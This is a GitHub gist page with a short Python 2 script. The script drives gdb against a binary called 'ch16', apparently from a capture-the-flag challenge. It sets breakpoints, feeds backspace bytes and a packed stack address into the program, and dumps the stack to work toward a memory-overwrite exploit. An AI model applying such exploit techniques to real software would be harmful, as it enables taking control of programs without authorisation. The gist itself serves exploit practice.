Skip to content

Instantly share code, notes, and snippets.

@suryadana
Created March 24, 2018 02:14
Show Gist options
  • Save suryadana/71b1dfa4d78fd9565b62d3e63ca78e24 to your computer and use it in GitHub Desktop.
Save suryadana/71b1dfa4d78fd9565b62d3e63ca78e24 to your computer and use it in GitHub Desktop.
from subprocess import Popen, PIPE
from time import sleep
import struct
proc = Popen(['gdb', 'ch16'], bufsize=1, stdin=PIPE)
def sendline(param):
proc.stdin.write(param+'\n')
sleep(2)
# # Set breakpoint
sendline('b* 0x0804865c')
sendline('b* 0x080485a6')
sendline('r')
sendline('c')
for i in range(0, 4):
sendline('\x08')
sendline('x/32wx $esp+0x18')
sendline('c')
addr = list(struct.pack('<I', 0xbffffabc))
for i in addr:
sendline(i)
sendline('x/32wx $esp+0x18')
sendline('c')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment